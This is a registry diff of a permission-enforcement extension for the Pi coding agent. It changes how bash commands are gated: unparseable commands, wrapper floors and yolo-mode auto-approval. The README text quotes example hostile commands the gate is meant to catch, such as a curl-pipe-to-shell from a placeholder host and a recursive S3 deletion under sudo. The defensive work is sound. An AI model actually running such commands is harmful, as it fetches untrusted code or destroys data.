@gotgenes/pi-permission-system 25.2.0 → 25.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,19 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [25.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.0...pi-permission-system-v25.2.1) (2026-08-15)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** auto-approve residual synthetic asks under yolo ([e1706d3](https://github.com/gotgenes/pi-packages/commit/e1706d3ea6497e4ce32d715af6034aea7dd4d0fc))
14
+ * **pi-permission-system:** honor an explicit bash deny for an unparseable command ([2e45633](https://github.com/gotgenes/pi-packages/commit/2e45633fa000c9c67ed62acaaf571f50c45a0d88))
15
+
16
+
17
+ ### Documentation
18
+
19
+ * **pi-permission-system:** describe the gate-level yolo grant ([8a8e4a7](https://github.com/gotgenes/pi-packages/commit/8a8e4a72bd52e37efef573ccf023e967206eaf1e)), closes [#712](https://github.com/gotgenes/pi-packages/issues/712)
20
+
8
21
  ## [25.2.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.1.0...pi-permission-system-v25.2.0) (2026-08-14)
9
22
 
10
23
 
@@ -394,13 +394,17 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
394
394
 
395
395
  - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
396
396
  - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
397
+ A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
397
398
  An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
398
399
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
399
400
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
400
401
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
401
402
  - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
402
403
  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
403
- As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
404
+ As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
405
+
406
+ Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
407
+ An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
404
408
 
405
409
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
406
410
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "25.2.0",
3
+ "version": "25.2.1",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -94,9 +94,11 @@ export interface PermissionPrompterDeps {
94
94
  * `ParentAuthorizer`, `DenyingAuthorizer`) — this class no longer threads
95
95
  * `ExtensionContext` per call.
96
96
  *
97
- * Yolo-mode auto-approval happens upstream, at the composition stage
98
- * (`PermissionManager.check`'s `rewriteAsksToYolo`) an `ask` never reaches
99
- * this class under yolo, so this class has no yolo-mode knowledge.
97
+ * Yolo-mode auto-approval happens upstream: at the composition stage
98
+ * (`PermissionManager.check`'s `rewriteAsksToYolo`) for a rule-driven ask, and
99
+ * at `GateRunner`'s auto-approve fast path (`resolveYoloGrant`) for an ask
100
+ * synthesized after resolution, which no rule rewrite can reach (#712) — an
101
+ * `ask` never reaches this class under yolo, so it has no yolo-mode knowledge.
100
102
  */
101
103
  export class PermissionPrompter implements PermissionPrompterApi {
102
104
  constructor(private readonly deps: PermissionPrompterDeps) {}
@@ -36,7 +36,9 @@ import type { PermissionCheckResult } from "#src/types";
36
36
  * to zero command units (a parse anomaly or an opaque program) fails closed to
37
37
  * a synthetic `ask` so a permissive top-level `*` cannot silently allow an
38
38
  * unparseable command (e.g. `cd /repo && git push` riding a top-level allow on
39
- * the empty-parse path) — #452.
39
+ * the empty-parse path) — #452. The whole command is still resolved first so an
40
+ * explicit `deny` covering it denies outright rather than being masked into an
41
+ * approvable prompt (#712).
40
42
  *
41
43
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
42
44
  * handler, which passes the decomposed `commands` here.
@@ -58,12 +60,11 @@ export function resolveBashCommandCheck(
58
60
  ): PermissionCheckResult {
59
61
  if (commands.length === 0) {
60
62
  if (isTriviallyEmptyCommand(command)) {
61
- return resolver.resolve({
62
- kind: "tool",
63
- surface: "bash",
64
- input: { command },
65
- agentName,
66
- });
63
+ return resolveWholeCommand(command, agentName, resolver);
64
+ }
65
+ const whole = resolveWholeCommand(command, agentName, resolver);
66
+ if (whole.state === "deny") {
67
+ return whole;
67
68
  }
68
69
  return {
69
70
  state: "ask",
@@ -94,12 +95,7 @@ export function resolveBashCommandCheck(
94
95
  });
95
96
  return (
96
97
  pickMostRestrictive(results) ??
97
- resolver.resolve({
98
- kind: "tool",
99
- surface: "bash",
100
- input: { command },
101
- agentName,
102
- })
98
+ resolveWholeCommand(command, agentName, resolver)
103
99
  );
104
100
  }
105
101
 
@@ -116,3 +112,17 @@ function isTriviallyEmptyCommand(command: string): boolean {
116
112
  .filter((line) => line.length > 0);
117
113
  return lines.every((line) => line.startsWith("#"));
118
114
  }
115
+
116
+ /** Resolve the whole command string as a single unit on the `bash` surface. */
117
+ function resolveWholeCommand(
118
+ command: string,
119
+ agentName: string | undefined,
120
+ resolver: ScopedPermissionResolver,
121
+ ): PermissionCheckResult {
122
+ return resolver.resolve({
123
+ kind: "tool",
124
+ surface: "bash",
125
+ input: { command },
126
+ agentName,
127
+ });
128
+ }
@@ -113,3 +113,32 @@ export function deriveResolution(
113
113
  }
114
114
  return confirmationUnavailable ? "confirmation_unavailable" : "user_denied";
115
115
  }
116
+
117
+ /**
118
+ * The standing yolo grant covering a gate's resolved check, or `null` when
119
+ * yolo does not answer it.
120
+ *
121
+ * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
122
+ * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
123
+ * first arm recognizes that grant. The second arm covers an `ask` synthesized
124
+ * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
125
+ * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
126
+ * cannot reach because the floor is a property of a parsed command unit, not of
127
+ * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
128
+ * log still shows why the ask was raised, while `origin: "yolo"` records why it
129
+ * was granted.
130
+ *
131
+ * A `deny` matches neither arm, so an explicit deny survives yolo.
132
+ */
133
+ export function resolveYoloGrant(
134
+ check: PermissionCheckResult,
135
+ yoloEnabled: boolean,
136
+ ): PermissionCheckResult | null {
137
+ if (check.state === "allow" && check.origin === "yolo") {
138
+ return check;
139
+ }
140
+ if (check.state === "ask" && yoloEnabled) {
141
+ return { ...check, state: "allow", origin: "yolo" };
142
+ }
143
+ return null;
144
+ }
@@ -12,7 +12,11 @@ import type { SessionApprovalRecorder } from "#src/session-approval-recorder";
12
12
  import type { PermissionCheckResult } from "#src/types";
13
13
  import type { GateDescriptor, GateResult } from "./descriptor";
14
14
  import { isGateBypass } from "./descriptor";
15
- import { buildDecisionEvent, deriveResolution } from "./helpers";
15
+ import {
16
+ buildDecisionEvent,
17
+ deriveResolution,
18
+ resolveYoloGrant,
19
+ } from "./helpers";
16
20
  import type { GateOutcome } from "./types";
17
21
 
18
22
  // ── GateRunner class ───────────────────────────────────────────────────────
@@ -32,6 +36,11 @@ export class GateRunner {
32
36
  private readonly recorder: SessionApprovalRecorder,
33
37
  private readonly prompter: AskEscalator,
34
38
  private readonly reporter: DecisionReporter,
39
+ /**
40
+ * Live yolo reader, read per gate so a mid-session config change takes
41
+ * effect — the same closure `PermissionManager` receives.
42
+ */
43
+ private readonly isYoloEnabled: () => boolean,
35
44
  ) {}
36
45
 
37
46
  /**
@@ -105,11 +114,12 @@ export class GateRunner {
105
114
  return { action: "allow" };
106
115
  }
107
116
 
108
- // 2b. Yolo fast-path — a composition-stage ask→allow rewrite records
109
- // origin "yolo" on the matched rule. Auto-approve without prompting,
110
- // preserving today's single auto_approved review entry + decision event
111
- // so review-log parity holds (#526).
112
- if (check.state === "allow" && check.origin === "yolo") {
117
+ // 2b. Yolo fast-path — the composition-stage ask→allow rewrite (origin
118
+ // "yolo" on the matched rule, #526) or, under yolo, an ask synthesized
119
+ // after resolution (#712). Auto-approve without prompting, preserving the
120
+ // single auto_approved review entry + decision event so log parity holds.
121
+ const yoloGrant = resolveYoloGrant(check, this.isYoloEnabled());
122
+ if (yoloGrant) {
113
123
  this.reporter.writeReviewLog("permission_request.auto_approved", {
114
124
  ...descriptor.logContext,
115
125
  agentName,
@@ -118,10 +128,10 @@ export class GateRunner {
118
128
  this.reporter.emitDecision(
119
129
  buildDecisionEvent(
120
130
  descriptor.decision,
121
- check,
131
+ yoloGrant,
122
132
  agentName,
123
133
  "allow",
124
- deriveResolution(check.state, "allow", false, false, true),
134
+ deriveResolution(yoloGrant.state, "allow", false, false, true),
125
135
  ),
126
136
  );
127
137
  return { action: "allow" };
package/src/index.ts CHANGED
@@ -84,13 +84,16 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
84
84
  // eslint-disable-next-line prefer-const -- forward-declared let; `const` requires an initializer
85
85
  let session: PermissionSession;
86
86
 
87
- // Constructed after the `configStore` forward declaration so the yolo reader
88
- // can close over it; the closure runs per check(), after configStore is
89
- // assigned below. yolo becomes a composition-stage ask→allow rewrite (#526).
87
+ // Declared after the `configStore` forward declaration so the reader can
88
+ // close over it; every call runs after configStore is assigned below. yolo is
89
+ // a composition-stage ask→allow rewrite (#526) that the gate runner extends
90
+ // to asks synthesized after resolution (#712), so both share this reader.
91
+ const isYoloEnabled = (): boolean => isYoloModeEnabled(configStore.current());
92
+
90
93
  const permissionManager = new PermissionManager({
91
94
  agentDir,
92
95
  flavor: hostFlavor,
93
- isYoloEnabled: () => isYoloModeEnabled(configStore.current()),
96
+ isYoloEnabled,
94
97
  });
95
98
 
96
99
  const logger = new PermissionSessionLogger({
@@ -255,6 +258,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
255
258
  sessionRules,
256
259
  authorizerSelection,
257
260
  reporter,
261
+ isYoloEnabled,
258
262
  );
259
263
  const toolCallGatePipeline = new ToolCallGatePipeline(
260
264
  resolver,